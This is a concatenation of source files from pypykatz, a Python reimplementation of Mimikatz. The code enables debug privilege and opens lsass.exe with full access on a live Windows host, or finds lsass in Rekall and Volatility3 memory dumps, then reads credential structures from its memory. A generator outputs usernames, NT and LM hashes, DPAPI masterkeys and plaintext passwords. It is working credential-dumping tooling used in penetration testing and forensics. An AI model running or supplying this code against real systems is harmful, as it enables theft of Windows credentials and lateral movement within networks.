121 self.current_segment = newsegment
122 self.current_position = requested_position
123 return
124
125 raise Exception('Memory address 0x%08x is not in process memory space' % requested_position)
126
127 def seek(self, offset, whence = 0):
128 """
129 Changes the current address to an offset of offset. The whence parameter controls from which position should we count the offsets.
130 0: beginning of the current memory segment
131 1: from current position
132 2: from the end of the current memory segment
133 If you wish to move out from the segment, use the 'move' function
134 """
135 if whence == 0:
136 t = self.current_segment.BaseAddress + offset
137 elif whence == 1:
138 t = self.current_position + offset
139 elif whence == 2:
140 t = self.current_segment.EndAddress - offset
141 else:
142 raise Exception('Seek function whence value must be between 0-2')
143
144 if not self.current_segment.inrange(t):
145 raise Exception('Seek would cross memory segment boundaries (use move)')
146
147 self.current_position = t
148 return
149
150 def move(self, address):
151 """
152 Moves the buffer to a virtual address specified by address
153 """
154 self._select_segment(address)
155 return
156
157 def align(self, alignment = None):
158 """
159 Repositions the current reader to match architecture alignment
160 """
161 if alignment is None:
162 if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64:
163 alignment = 8
164 else:
165 alignment = 4
166 offset = self.current_position % alignment
167 if offset == 0:
168 return
169 offset_to_aligned = (alignment - offset) % alignment
170 self.seek(offset_to_aligned, 1)
171 return
172
173 def tell(self):
174 """
175 Returns the current virtual address
176 """
177 return self.current_position
178
179 def peek(self, length):
180 """
181 Returns up to length bytes from the current memory segment
182 """
183 t = self.current_position + length
184 if not self.current_segment.inrange(t):
185 raise Exception('Would read over segment boundaries!')
186 return self.current_segment.data[self.current_position - self.current_segment.BaseAddress :t - self.current_segment.BaseAddress]
187
188 def read(self, size = -1):
189 """
190 Returns data bytes of size size from the current segment. If size is -1 it returns all the remaining data bytes from memory segment
191 """
192 if size < -1:
193 raise Exception('You shouldnt be doing this')
194 if size == -1:
195 t = self.current_segment.remaining_len(self.current_position)
196 if not t:
197 return None
198
199 old_new_pos = self.current_position
200 self.current_position = self.current_segment.EndAddress
201 return self.current_segment.data[old_new_pos - self.current_segment.BaseAddress:]
202
203 t = self.current_position + size
204 if not self.current_segment.inrange(t):
205 raise Exception('Would read over segment boundaries!')
206
207 old_new_pos = self.current_position
208 self.current_position = t
209 return self.current_segment.data[old_new_pos - self.current_segment.BaseAddress :t - self.current_segment.BaseAddress]
210
211 def read_int(self):
212 """
213 Reads an integer. The size depends on the architecture.
214 Reads a 4 byte small-endian singed int on 32 bit arch
215 Reads an 8 byte small-endian singed int on 64 bit arch
216 """
217 if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64:
218 return int.from_bytes(self.read(8), byteorder = 'little', signed = True)
219 else:
220 return int.from_bytes(self.read(4), byteorder = 'little', signed = True)
221
222 def read_uint(self):
223 """
224 Reads an integer. The size depends on the architecture.
225 Reads a 4 byte small-endian unsinged int on 32 bit arch
226 Reads an 8 byte small-endian unsinged int on 64 bit arch
227 """
228 if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64:
229 return int.from_bytes(self.read(8), byteorder = 'little', signed = False)
230 else:
231 return int.from_bytes(self.read(4), byteorder = 'little', signed = False)
232
233 def find(self, pattern):
234 """
235 Searches for a pattern in the current memory segment
236 """
237 pos = self.current_segment.data.find(pattern)
238 if pos == -1:
239 return -1
240 return pos + self.current_position
241
242 def find_all(self, pattern):
243 """
244 Searches for all occurrences of a pattern in the current memory segment, returns all occurrences as a list
245 """
246 pos = []
247 last_found = -1
248 while True:
249 last_found = self.current_segment.data.find(pattern, last_found + 1)
250 if last_found == -1:
251 break
252 pos.append(last_found + self.current_segment.start_address)
253
254 return pos
255
256 def find_global(self, pattern):
257 """
258 Searches for the pattern in the whole process memory space and returns the first occurrence.
259 This is exhaustive!
260 """
261 pos_s = self.reader.search(pattern)
262 if len(pos_s) == 0:
263 return -1
264
265 return pos_s[0]
266
267 def find_all_global(self, pattern):
268 """
269 Searches for the pattern in the whole process memory space and returns a list of addresses where the pattern begins.
270 This is exhaustive!
271 """
272 return self.reader.search(pattern)
273
274 def get_ptr(self, pos):
275 self.move(pos)
276 return self.read_uint()
277 #raw_data = self.read(pos, self.sizeof_ptr)
278 #return struct.unpack(self.unpack_ptr, raw_data)[0]
279
280 def get_ptr_with_offset(self, pos):
281 if self.reader.processor_architecture == PROCESSOR_ARCHITECTURE.AMD64:
282 self.move(pos)
283 ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True)
284 return pos + 4 + ptr
285 else:
286 self.move(pos)
287 return self.read_uint()
288
289 def find_in_module(self, module_name, pattern):
290 t = self.reader.search_module(module_name, pattern)
291 return t
292
293
294 class LiveReader:
295 def __init__(self):
296 self.processor_architecture = None
297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = None
299 self.current_position = None
300 self.BuildNumber = None
301 self.modules = []
302 self.pages = []
303
304 self.msv_dll_timestamp = None #a special place in our hearts....
305
306 self.sanity_check()
307 self.setup()
308
309 def sanity_check(self):
310 """
311 Check if user is insane
312 Windows API functions don't like when a 32 bit process is accessing a 64 bit process's memory space,
313 Therefore you must use a 64 bit python on a 64bit Windows and a 32bit python on a 32bit Windows
314 """
315 is_python_64 = sys.maxsize > 2**32
316 is_windows = platform.system() == 'Windows'
317 is_windows_64 = platform.machine().endswith('64')
318 if is_windows == False:
319 raise Exception('This will only run on Windows')
320
321 if is_windows_64 != is_python_64:
322 raise Exception('Python interpreter must be the same architecure of the OS you are running it on.')
323
324
325
326
327
328 def setup(self):
329 logging.log(1, 'Enabling debug privilege')
330 enable_debug_privilege()
331 logging.log(1, 'Getting generic system info')
332 sysinfo = GetSystemInfo()
333 self.processor_architecture = PROCESSOR_ARCHITECTURE(sysinfo.id.w.wProcessorArchitecture)
334
335 logging.log(1, 'Getting build number')
336 #self.BuildNumber = GetVersionEx().dwBuildNumber #this one doesnt work reliably on frozen binaries :(((
337 key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\')
338 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339 self.BuildNumber = int(buildnumber)
340
341
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349
350 logging.log(1, 'Enumerating modules')
351 module_handles = EnumProcessModules(self.lsass_process_handle)
352 for module_handle in module_handles:
353
354 module_file_path = GetModuleFileNameExW(self.lsass_process_handle, module_handle)
355 logging.log(1, module_file_path)
356 timestamp = 0
357 if ntpath.basename(module_file_path).lower() == 'msv1_0.dll':
358 timestamp = int(os.stat(module_file_path).st_ctime)
359 self.msv_dll_timestamp = timestamp
360 modinfo = GetModuleInformation(self.lsass_process_handle, module_handle)
361 self.modules.append(Module.parse(module_file_path, modinfo, timestamp))
362
363 logging.log(1, 'Found %d modules' % len(self.modules))
364
365 current_address = sysinfo.lpMinimumApplicationAddress
366 while current_address < sysinfo.lpMaximumApplicationAddress:
367 page_info = VirtualQueryEx(self.lsass_process_handle, current_address)
368 self.pages.append(Page.parse(page_info))
369
370 current_address += page_info.RegionSize
371
372 logging.log(1, 'Found %d pages' % len(self.pages))
373
374
375 for page in self.pages:
376 #self.log(str(page))
377
378 for mod in self.modules:
379 if mod.inrange(page.BaseAddress) == True:
380 mod.pages.append(page)
381
382 #for mod in self.modules:
383 # self.log('%s %d' % (mod.name, len(mod.pages)))
384
385 def get_buffered_reader(self):
386 return BufferedLiveReader(self)
387
388 def get_module_by_name(self, module_name):
389 for mod in self.modules:
390 if mod.name.lower().find(module_name.lower()) != -1:
391 return mod
392 return None
393
394 def search_module(self, module_name, pattern):
395 mod = self.get_module_by_name(module_name)
396 if mod is None:
397 raise Exception('Could not find module! %s' % module_name)
398 t = []
399 for page in mod.pages:
400 t += page.search(pattern, self.lsass_process_handle)
401 #for ms in self.pages:
402 # if mod.baseaddress <= ms.start_virtual_address < mod.endaddress:
403 # t+= ms.search(pattern, self.lsass_process_handle)
404
405 return t
406
407
408
409
410
411 if __name__ == '__main__':
412 logging.basicConfig(level=1)
413 lr = LiveReader()
414 blr = lr.get_buffered_reader()
415
416 blr.move(0x1000)
417
0 import winreg
1 import ntpath
2
3 from pypykatz.commons.readers.local.common.winreg import *
4
5 class LiveRegistryHive:
6 def __init__(self, hive_name, root = winreg.HKEY_LOCAL_MACHINE):
7 self.hive_name = hive_name
8 self.root = root
9
10 def close(self):
11 return
12
13 def setup(self):
14 return
15
16 def find_key(self, key_path, throw = True):
17 if self.root is None:
18 self.setup()
19 if key_path == '' or key_path is None:
20 return self.root
21
22 key_path = self.hive_name + '\\' + key_path
23 try:
24 key = winreg.OpenKeyEx(self.root, key_path, access= winreg.KEY_READ)
25 except Exception as e:
26 if throw is True:
27 raise e
28 else:
29 return None
30 return key
31
32 def enum_key(self, key_path, throw = True):
33 if self.root is None:
34 self.setup()
35
36 #key_path = self.hive_name + '\\' + key_path
37 key = self.find_key(key_path, throw)
38 names = []
39 i = 0
40 while True:
41 try:
42 name = winreg.EnumKey(key, i)
43 names.append(name)
44 i+= 1
45 except OSError as e:
46 if isinstance(e, WindowsError) and e.winerror == 259:
47 break
48 else:
49 raise e
50
51 return names
52
53 def list_values(self, key):
54 if self.root is None:
55 self.setup()
56
57 values = []
58 i = 0
59 while True:
60 try:
61 value = winreg.EnumValue(key, i)
62 values.append(value[0].encode())
63 i+= 1
64 except OSError as e:
65 if isinstance(e, WindowsError) and e.winerror == 259:
66 break
67 else:
68 raise e
69
70 return values
71
72 def get_value(self, value_path, throw = True):
73 if self.root is None:
74 self.setup()
75 key_path = ntpath.dirname(value_path)
76 value_name = ntpath.basename(value_path)
77 if value_name == 'default':
78 value_name = ''
79
80 key = self.find_key(key_path, throw)
81 if key is None:
82 return None
83
84 res = winreg.QueryValueEx(key, value_name)
85 return (res[1], res[0])
86
87 def get_class(self, key_path, throw = True):
88 if self.root is None:
89 self.setup()
90
91 pkey = winreg.HKEY_LOCAL_MACHINE
92 key_path = self.hive_name + '\\' + key_path
93 for name in key_path.split('\\'):
94 pkey = RegOpenKey(pkey, name)
95
96 ki = RegQueryInfoKey(pkey)
97 return ki[0].decode()
98
99
100
0 import rekall
1 from rekall import session
2 from rekall import plugins
3 from rekall import scan
4 from rekall_lib import utils
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 # Kudos:
6 # Buherator (@buherator) for helping me navigate the Peb
7 #
8
9 import logging
10
11 from pypykatz.pypykatz import pypykatz
12 from pypykatz.commons.common import *
13
14 from . import *
15
16 class RekallModule:
17 def __init__(self):
18 self.name = None
19 self.start_addr = None
20 self.end_addr = None
21 self.size = None
22
23 @staticmethod
24 def from_module(module):
25 rm = RekallModule()
26 rm.name = str(module.BaseDllName).lower()
27 rm.start_addr = int(module.DllBase)
28 rm.size = int(module.SizeOfImage)
29 rm.end_addr = rm.start_addr + rm.size
30 return rm
31
32 class RekallReader:
33 def __init__(self, timestamp_override = None, buildnumber = None):
34 """
35 Timestamp override will change the msv_dll_timestamp value.
36 If None > no change
37 If 0 > it disables the ANIT_MIMIKATZ structs on certain builds
38 If 1 > it enforces to use the ANTI_MIMIKATZ structs on certain builds
39 """
40
41 self.session = None
42 self.lsass_task = None
43 self.cc = None
44 self.task_as = None
45 self.cur_pos = None
46 self.modules = {}
47
48 self.timestamp_override = timestamp_override
49 #needed for pypykatz
50 self.processor_architecture = None
51 self.BuildNumber = buildnumber
52 self.msv_dll_timestamp = None #a special place in our hearts....
53
54
55 def setup(self):
56 self.cc = self.session.plugins.cc()
57 self.search_lsass()
58 self.task_as = self.lsass_task.get_process_address_space()
59 self.processor_architecture = self.get_arch()
60 if not self.BuildNumber:
61 self.BuildNumber = self.get_buildnumber()
62
63 if self.timestamp_override:
64 if self.timestamp_override == 0:
65 sysinfo.msv_dll_timestamp = 0x53480000 - 1
66 elif self.timestamp_override == 1:
67 sysinfo.msv_dll_timestamp = 0x53480000 + 1
68
69 self.load_modules()
70
71 @staticmethod
72 def from_memory_file(memory_file, timestamp_override = None, buildnumber = None):
73 logging.info('Invoking recall on file %s' % memory_file)
74 rsession = session.Session(
75 filename = memory_file,
76 autodetect=['rsds', 'pe', 'windows_kernel_file'],
77 logger = logging.getLogger('pypykatz'),
78 autodetect_build_local = 'full',
79 autodetect_scan_length=10*1024*1024*1024,
80 profile_path=["https://github.com/google/rekall-profiles/raw/master", "http://profiles.rekall-forensic.com"]
81 )
82
83 return RekallReader.from_session(rsession, timestamp_override, buildnumber)
84
85
86 @staticmethod
87 def from_session(session, timestamp_override = None, buildnumber = None):
88 rr = RekallReader(timestamp_override, buildnumber)
89 rr.session = session
90 rr.setup()
91 return rr
92
93 def get_buildnumber(self):
94 return int(self.lsass_task.Peb.OSBuildNumber)
95
96 def get_arch(self):
97 if self.session.profile.metadata("arch")[-2:] == '64':
98 return KatzSystemArchitecture.X64
99 return KatzSystemArchitecture.X86
100
101 def align(self, alignment = None):
102 """
103 Repositions the current reader to match architecture alignment
104 """
105 if alignment is None:
106 if self.processor_architecture == KatzSystemArchitecture.X64:
107 alignment = 8
108 else:
109 alignment = 4
110 offset = self.cur_pos % alignment
111 if offset == 0:
112 return
113 offset_to_aligned = (alignment - offset) % alignment
114 self.read(offset_to_aligned)
115 return
116
117 def tell(self):
118 """
119 Returns the current virtual address
120 """
121 return self.cur_pos
122
123 def read_int(self):
124 """
125 Reads an integer. The size depends on the architecture.
126 Reads a 4 byte small-endian singed int on 32 bit arch
127 Reads an 8 byte small-endian singed int on 64 bit arch
128 """
129 if self.processor_architecture == KatzSystemArchitecture.X64:
130 return int.from_bytes(self.read(8), byteorder = 'little', signed = True)
131 else:
132 return int.from_bytes(self.read(4), byteorder = 'little', signed = True)
133
134 def read_uint(self):
135 """
136 Reads an integer. The size depends on the architecture.
137 Reads a 4 byte small-endian unsinged int on 32 bit arch
138 Reads an 8 byte small-endian unsinged int on 64 bit arch
139 """
140 if self.processor_architecture == KatzSystemArchitecture.X64:
141 return int.from_bytes(self.read(8), byteorder = 'little', signed = False)
142 else:
143 return int.from_bytes(self.read(4), byteorder = 'little', signed = False)
144
145 def get_ptr(self, pos):
146 self.move(pos)
147 return self.read_uint()
148
149 def get_ptr_with_offset(self, pos):
150 if self.processor_architecture == KatzSystemArchitecture.X64:
151 self.move(pos)
152 ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True)
153 return pos + 4 + ptr
154 else:
155 self.move(pos)
156 return self.read_uint()
157
158
159 def move(self, pos):
160 self.cur_pos = pos
161
162 def read(self, size):
163 data = self.task_as.read(self.cur_pos, size)
164 self.cur_pos += size
165 return data
166
167 def peek(self, size):
168 return self.task_as.read(self.cur_pos, size)
169
170 def load_modules(self):
171 self.task_as = self.lsass_task.get_process_address_space()
172 for module in self.lsass_task.get_load_modules():
173 self.modules[str(module.BaseDllName).lower()] = RekallModule.from_module(module)
174 if str(module.BaseDllName).lower() == 'msv1_0.dll':
175 self.msv_dll_timestamp = int(module.TimeDateStamp)
176 if self.msv_dll_timestamp == 0:
177 self.session.logging.info('WARNING! msv.dll timestamp not found! This could cause errors with older windows builds. You might need to specify it manually for anti_mimikatz structs!')
178 self.msv_dll_timestamp = 0
179
180 def search_lsass(self):
181 self.session.logging.info('Searching LSASS process')
182 tasks = []
183 for task in self.session.plugins.pslist(proc_regex='lsass.exe').filter_processes():
184 tasks.append(task)
185
186 if len(tasks) > 1:
187 self.session.logging.info('WARNING! Multiple processes matched the filter!! Using first one!')
188
189 if len(tasks) == 0:
190 raise Exception('LSASS.exe not found!')
191
192 self.lsass_task = tasks[0]
193 self.cc.SwitchProcessContext(self.lsass_task)
194
195 def load_module(self, module_name):
196 for module in self.lsass_task.get_load_modules():
197 #print(module.BaseDllName)
198 process_offset = self.task_as.vtop(self.lsass_task.obj_offset)
199 if not process_offset:
200 raise Exception('Cant get module! %s' % module_name)
201 if str(module.BaseDllName).lower() != module_name:
202 continue
203 else:
204 self.session.logging.info('Found module!')
205 return module
206
207
208 def find_in_module(self, module_name, pattern):
209 if module_name.lower() not in self.modules:
210 raise Exception('Module is not in lsass emmory space! %s' % module_name)
211 module = self.modules[module_name.lower()]
212 res = []
213 scanner = rekall.scan.MultiStringScanner(
214 needles=[pattern],
215 address_space=self.lsass_task.get_process_address_space()
216 )
217 self.session.logging.info('module.start_addr %s' % module.start_addr)
218 for hit, _ in scanner.scan(offset=int(module.start_addr), maxlen=int(module.size)):
219 res.append(int(hit))
220 return res
221
222 if __name__ == '__main__':
223 logging.basicConfig(level=logging.DEBUG)
224 memory_file = 'memory.dmp'
225 reader = RekallReader(memory_file)
226 print(reader.session.profile.metadata("arch"))
227 #reader.search_module('lsasrv.dll', b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15')
228 sysinfo = KatzSystemInfo.from_rekallreader(reader)
229 print(sysinfo.architecture)
230 p = pypykatz.pypykatz(reader, sysinfo)
231 mimi = p.start()
232 for luid in p.logon_sessions:
233 print(str(p.logon_sessions[luid]))
234 print('Done!')
0 import logging
1 from typing import List
2
3 from volatility.framework import interfaces, constants, exceptions, symbols
4 from volatility.framework import renderers
5 from volatility.framework.configuration import requirements
6 from volatility.framework.objects import utility
7 from volatility.framework.symbols import intermed
8 from volatility.framework.symbols.windows import extensions
9 from volatility.framework.layers.scanners import MultiStringScanner
10 from volatility.plugins.windows import pslist, vadinfo
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 #
6 # This file contains a reader implementation to interface pypykatz lsass parsing module with volatility3
7 # One would need to install volatility3 and drop the plugin file (separate project) to the appropriate volatility3 plugins folder
8 # The reason why the reader code is not in the plugin folder is that in case pypykatz plugin becomes official in vol3, I don't wish to administer changes via PR to the vol3 team
9 # they probably have more important things to deal with :)
10 #
11
12 import logging
13
14 from pypykatz.pypykatz import pypykatz
15 from pypykatz.commons.common import *
16
17 from . import *
18
19
20 class VOL3Section:
21 def __init__(self):
22 self.start = None
23 self.end = None
24 self.size = None
25
26 @staticmethod
27 def from_vad(vad):
28 s = VOL3Section()
29 s.start = int(vad.get_start())
30 s.end = int(vad.get_end())
31 s.size = s.end - s.start
32 return s
33
34 class VOL3Module:
35 def __init__(self):
36 self.name = None
37 self.start_addr = None
38 self.end_addr = None
39 self.size = None
40
41 @staticmethod
42 def from_module(BaseDllName, FullDllName, entry):
43 rm = VOL3Module()
44 rm.name = str(BaseDllName).lower()
45 rm.start_addr = int(entry.DllBase)
46 rm.size = int(entry.SizeOfImage)
47 rm.end_addr = rm.start_addr + rm.size
48 return rm
49
50 class VOL3Sysinfo:
51 def __init__(self):
52 self.architecture = None
53 self.buildnumber = None
54 self.msv_dll_timestamp = 0x53480000 + 1
55 self.operating_system = None
56 self.major_version = 6
57
58 class Vol3Reader:
59 def __init__(self, vol_obj):
60 self.vol_obj = vol_obj
61 self.proc_layer_name = None
62 self.proc_layer = None
63 self.lsass_process = None
64 self.modules = {}
65 self.sections = []
66 self.processor_architecture = None
67
68 self.setup()
69
70 def setup(self):
71 self.find_lsass()
72 self.list_dlls()
73 self.get_buildnumber()
74 self.list_sections()
75 self.get_arch()
76
77 def get_sysinfo(self):
78 sysinfo = KatzSystemInfo()
79 sysinfo.architecture = self.processor_architecture
80 sysinfo.buildnumber = self.buildnumber
81 sysinfo.msv_dll_timestamp = 0x53480000 + 1
82 sysinfo.operating_system = None
83 sysinfo.major_version = 6 #TODO: add majorversion check option
84 return sysinfo
85
86 def find_lsass(self):
87 filter_func = pslist.PsList.create_name_filter(['lsass.exe'])
88 for proc in pslist.PsList.list_processes(
89 context = self.vol_obj.context,
90 layer_name = self.vol_obj.config['primary'],
91 symbol_table = self.vol_obj.config['nt_symbols'],
92 filter_func = filter_func
93 ):
94 self.lsass_process = proc
95 self.proc_layer_name = self.lsass_process.add_process_layer()
96 self.proc_layer = self.vol_obj.context.layers[self.proc_layer_name]
97 return
98
99 raise Exception('LSASS process not found!')
100
101 def list_dlls(self):
102 #https://github.com/volatilityfoundation/volatility3/blob/master/volatility/framework/plugins/windows/dlllist.py
103 for entry in self.lsass_process.load_order_modules():
104 BaseDllName = FullDllName = renderers.UnreadableValue()
105 try:
106 BaseDllName = entry.BaseDllName.get_string()
107 # We assume that if the BaseDllName points to an invalid buffer, so will FullDllName
108 FullDllName = entry.FullDllName.get_string()
109 except exceptions.InvalidAddressException:
110 pass
111
112 module = VOL3Module.from_module(BaseDllName, FullDllName, entry)
113 self.modules[module.name] = module
114
115 def get_buildnumber(self):
116 # https://github.com/volatilityfoundation/volatility3/blob/ee31ece0062ce762ed38f6d0a1c54e9f1cd37970/volatility/framework/plugins/windows/cmdline.py
117 peb = self.vol_obj.context.object(
118 self.vol_obj.config["nt_symbols"] + constants.BANG + "_PEB",
119 layer_name = self.proc_layer_name,
120 offset = self.lsass_process.Peb
121 )
122 self.buildnumber = peb.OSBuildNumber
123
124 def list_sections(self):
125 # not entirely sure if this is needed...
126 #https://github.com/volatilityfoundation/volatility3/blob/9af7fbb48ddaa2fb9c74754b8a95e77c66533bf1/volatility/framework/plugins/windows/vadinfo.py#L82
127 for vad in self.lsass_process.get_vad_root().traverse():
128 self.sections.append(VOL3Section.from_vad(vad))
129
130 def get_arch(self):
131 if not symbols.symbol_table_is_64bit(self.vol_obj.context, self.vol_obj.config["nt_symbols"]):
132 self.processor_architecture = KatzSystemArchitecture.X86
133 self.processor_architecture = KatzSystemArchitecture.X64
134
135 def align(self, alignment = None):
136 """
137 Repositions the current reader to match architecture alignment
138 """
139 if alignment is None:
140 if self.processor_architecture == KatzSystemArchitecture.X64:
141 alignment = 8
142 else:
143 alignment = 4
144 offset = self.cur_pos % alignment
145 if offset == 0:
146 return
147 offset_to_aligned = (alignment - offset) % alignment
148 self.read(offset_to_aligned)
149 return
150
151 def tell(self):
152 """
153 Returns the current virtual address
154 """
155 return self.cur_pos
156
157 def read_int(self):
158 """
159 Reads an integer. The size depends on the architecture.
160 Reads a 4 byte small-endian singed int on 32 bit arch
161 Reads an 8 byte small-endian singed int on 64 bit arch
162 """
163 if self.processor_architecture == KatzSystemArchitecture.X64:
164 return int.from_bytes(self.read(8), byteorder = 'little', signed = True)
165 else:
166 return int.from_bytes(self.read(4), byteorder = 'little', signed = True)
167
168 def read_uint(self):
169 """
170 Reads an integer. The size depends on the architecture.
171 Reads a 4 byte small-endian unsinged int on 32 bit arch
172 Reads an 8 byte small-endian unsinged int on 64 bit arch
173 """
174 if self.processor_architecture == KatzSystemArchitecture.X64:
175 return int.from_bytes(self.read(8), byteorder = 'little', signed = False)
176 else:
177 return int.from_bytes(self.read(4), byteorder = 'little', signed = False)
178
179 def get_ptr(self, pos):
180 self.move(pos)
181 return self.read_uint()
182
183 def get_ptr_with_offset(self, pos):
184 if self.processor_architecture == KatzSystemArchitecture.X64:
185 self.move(pos)
186 ptr = int.from_bytes(self.read(4), byteorder = 'little', signed = True)
187 return pos + 4 + ptr
188 else:
189 self.move(pos)
190 return self.read_uint()
191
192 def move(self, pos):
193 self.cur_pos = pos
194
195 def read(self, size):
196 data = self.proc_layer.read(self.cur_pos, size, pad = False)
197 self.cur_pos += size
198 return data
199
200 def peek(self, size):
201 return self.proc_layer.read(self.cur_pos, size)
202
203 def find_in_module(self, module_name, pattern):
204 if module_name.lower() not in self.modules:
205 raise Exception('Module is not in lsass memory space! %s' % module_name)
206 module = self.modules[module_name.lower()]
207 res = []
208 scanner = MultiStringScanner(patterns=[pattern])
209 sections = [(int(module.start_addr), int(module.size))]
210 for hit, _ in self.proc_layer.scan(
211 context = self.vol_obj.context,
212 scanner = scanner,
213 sections = sections
214 ):
215 res.append(int(hit))
216 return res
217
218
219 def vol3_generator(mimi):
220 for luid in mimi.logon_sessions:
221 for row in mimi.logon_sessions[luid].to_grep_rows():
222 yield 0, row
223 for cred in mimi.orphaned_creds:
224 t = cred.to_dict()
225 if t['credtype'] != 'dpapi':
226 if t['password'] is not None:
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
228 yield 0, x
229 else:
230 t = cred.to_dict()
231 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
232 yield 0, x
233
234 def vol3_treegrid(mimi):
235 return renderers.TreeGrid([
236 ("credtype", str),
237 ("domainname", str),
238 ("username", str),
239 ("NThash", str),
240 ("LMHash", str),
241 ("SHAHash", str),
242 ("masterkey", str),
243 ("masterkey(sha1)", str),
244 ("key_guid", str),
245 ("password", str),
246 ], vol3_generator(mimi))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import io
7 import enum
8 import logging
9 from minidump.win_datatypes import DWORD, LONG, LONGLONG, \
10 POINTER, UINT8, ULONG, PWSTR, USHORT, PCHAR, SHORT, \
11 BYTE, PVOID, WORD
12 #from pypykatz.commons.common import *
13
14 class LARGE_INTEGER:
15 def __init__(self, reader):
16 self.LowPart = DWORD(reader).value
17 self.HighPart = LONG(reader).value
18 self.QuadPart = LONGLONG(reader).value
19
20 class PSID(POINTER):
21 def __init__(self, reader):
22 super().__init__(reader, SID)
23
24 class SID:
25 def __init__(self, reader):
26 self.Revision = UINT8(reader).value
27 self.SubAuthorityCount = UINT8(reader).value
28 self.IdentifierAuthority = int.from_bytes(b'\x00\x00' + reader.read(6), byteorder = 'big', signed = False)
29 self.SubAuthority = []
30 for _ in range(self.SubAuthorityCount):
31 self.SubAuthority.append(ULONG(reader).value)
32
33 def __str__(self):
34 t = 'S-%d-%d' % (self.Revision, self.IdentifierAuthority)
35 for subauthority in self.SubAuthority:
36 t+= '-%d' % (subauthority)
37 return t
38
39 class LUID:
40 def __init__(self, reader):
41 self.LowPart = DWORD(reader).value
42 self.HighPart = LONG(reader).value
43 self.value = (self.HighPart << 32) + self.LowPart
44
45 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms721841(v=vs.85).aspx
46 class LSA_UNICODE_STRING:
47 def __init__(self, reader):
48 self.Length= USHORT(reader).value
49 self.MaximumLength = USHORT(reader).value
50 reader.align()
51 self.Buffer = PWSTR(reader).value
52
53 def read_string(self, reader):
54 if self.Buffer == 0 or self.Length == 0:
55 return ''
56 reader.move(self.Buffer)
57 data = reader.read(self.Length)
58 data_str = data.decode('utf-16-le').rstrip('\0')
59 return data_str
60
61 def read_data(self, reader):
62 if self.Buffer == 0 or self.Length == 0:
63 return b''
64 reader.move(self.Buffer)
65 return reader.read(self.Length)
66
67 def read_maxdata(self, reader):
68 if self.Buffer == 0 or self.Length == 0:
69 return b''
70 reader.move(self.Buffer)
71 return reader.read(self.MaximumLength)
72
73 # https://msdn.microsoft.com/en-us/library/windows/hardware/ff540605(v=vs.85).aspx
74 class PANSI_STRING(POINTER):
75 def __init__(self, reader):
76 super().__init__(reader, ANSI_STRING)
77
78 class ANSI_STRING:
79 def __init__(self, reader):
80 self.Length = USHORT(reader)
81 self.MaximumLength = USHORT(reader)
82 #reader.align()
83 self.Buffer = PCHAR(reader).value
84
85 def read_string(self, reader):
86 if self.Buffer == 0 or self.Length == 0:
87 return ''
88 reader.move(self.Buffer)
89 data = reader.read(self.Length)
90 data_str = data.decode().rstrip('\0')
91 return data_str
92
93 def read_data(self, reader):
94 if self.Buffer == 0 or self.Length == 0:
95 return b''
96 reader.move(self.Buffer)
97 return reader.read(self.Length)
98
99 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378064(v=vs.85).aspx
100
101 class KerberosNameType(enum.Enum):
102 KRB_NT_UNKNOWN = 0
103 KRB_NT_PRINCIPAL = 1
104 KRB_NT_PRINCIPAL_AND_ID = -131
105 KRB_NT_SRV_INST = 2
106 KRB_NT_SRV_INST_AND_ID = -132
107 KRB_NT_SRV_HST = 3
108 KRB_NT_SRV_XHST = 4
109 KRB_NT_UID = 5
110 KRB_NT_ENTERPRISE_PRINCIPAL = 10
111 KRB_NT_ENT_PRINCIPAL_AND_ID = -130
112 KRB_NT_MS_PRINCIPAL = -128
113 KRB_NT_MS_PRINCIPAL_AND_ID = -129
114
115 class PKERB_EXTERNAL_NAME(POINTER):
116 def __init__(self, reader):
117 super().__init__(reader, KERB_EXTERNAL_NAME)
118
119 class KERB_EXTERNAL_NAME:
120 def __init__(self, reader):
121 self.NameType = SHORT(reader).value #KerberosNameType(SHORT(reader).value)
122 self.NameCount = USHORT(reader).value
123 reader.align()
124 self.Names = [] # list of LSA_UNICODE_STRING
125 for _ in range(self.NameCount):
126 self.Names.append(LSA_UNICODE_STRING(reader))
127
128 def read(self, reader):
129 t = []
130 for name in self.Names:
131 t.append(name.read_string(reader))
132 return t
133
134
135 class KIWI_GENERIC_PRIMARY_CREDENTIAL:
136 def __init__(self, reader):
137 self.UserName = LSA_UNICODE_STRING(reader)
138 self.Domaine = LSA_UNICODE_STRING(reader)
139 self.Password = LSA_UNICODE_STRING(reader)
140
141 class PRTL_BALANCED_LINKS(POINTER):
142 def __init__(self, reader):
143 super().__init__(reader, RTL_BALANCED_LINKS)
144
145 class RTL_BALANCED_LINKS:
146 def __init__(self, reader):
147 self.Parent = PRTL_BALANCED_LINKS(reader)
148 self.LeftChild = PRTL_BALANCED_LINKS(reader)
149 self.RightChild = PRTL_BALANCED_LINKS(reader)
150 self.Balance = BYTE(reader).value
151 self.Reserved = reader.read(3) # // align
152 reader.align()
153
154 class PRTL_AVL_TABLE(POINTER):
155 def __init__(self, reader):
156 super().__init__(reader, RTL_AVL_TABLE)
157
